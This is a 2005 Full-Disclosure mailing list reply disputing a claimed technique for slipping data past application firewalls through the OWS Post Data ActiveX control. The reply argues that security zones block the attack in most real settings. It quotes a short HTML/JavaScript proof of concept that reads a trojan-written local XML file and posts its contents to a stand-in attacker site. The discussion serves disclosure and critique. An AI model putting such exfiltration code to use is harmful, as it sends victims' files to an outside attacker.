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RE: new attack technique? using JavaScript+XML+OWSPost Data
From: "Debasis Mohanty" <mail () hackingspirits com>
Date: Thu, 22 Dec 2005 00:17:02 +0530
-----Original Message----- From: Gaurav Kumar Sent: Wednesday, December 21, 2005 8:59 PM To: full-disclosure () lists grok org uk Cc: websecurity () webappsec org Subject: [Full-disclosure] new attack technique? using JavaScript+XML+OWSPost Data 1>> A Trojan has been to be placed in a system running an 1>> application firewall like Zone Alarm Pro etc.
Assumptions:
2>> The target system must be having office XP and the user has 2>> to be lured to view a webpage hosted by attacker. 3>> The Trojan can be designed to generate an xml 3>> file which will contain the data to be sent out. The attacker will lure the 3>> user to visit a website hosted by him. Lol !! In a practical scenario, the attacker who spreads the worm/trojans himself is not aware in the initial stage which are the infected machines unless the trojan sends back the machine/user info back to the attacker. Now as you have already mentioned ZA is running then no data can be sent back to the attacker. So the attacker is clueless which are those infected machines. So the case of luring the user to visit the link is out of scope...
The site can have following HTML code-
Now coming back to technical stuff, You are trying to access a local file which will only be allowed if the site is in "Trusted Sites" or "Local Intranet" or "Local Security Zone" and activex not marked safe. The fact that *the client is also the server* is irrelevant. Try uploading the script to some webserver and give a html extention; it will throw an _access denied_ error when the page loads (even on Win XP + SP1). In case of any server side extention like *.asp, *.jsp etc, the user will be prompted that an malicious component is trying to load and ask for user permission.
<html> <body> The author is not responsible for any misuse, this PoC is for educational purpose only. <object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}" id="exp"> </object> <script LANGUAGE=javascript> var xmlDoc xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async=false; xmlDoc.load("c:\\note.xml"); xmlObj=xmlDoc.documentElement; var a= xmlObj.firstChild.text; exp.Post(0,"http://www.attackersite.com/input.asp",a); </script> </body> </html>
The above code (works well on windows XP SP2) essentials calls "OWS Post Data" COM control to post the contents of note.xml (generated by trojan) to attackersite.com
IMHO, never conduct such tests in a "Intranet Zone" or "Local Zone" and draw conclusion about "Internet Security Zone". You may also link to know about this issue - http://support.microsoft.com/kb/317244/EN-US/
Essentially, the technique is breaking the basic functionality of application firewalls by using OWS Post Data as bridge for sending out the data using Javascript and XML.
Not Exactly !! I wud rather suggest you to do a little more research and draw any conclusion. Keep those _Security Zones_ in mind before you post anything... - D _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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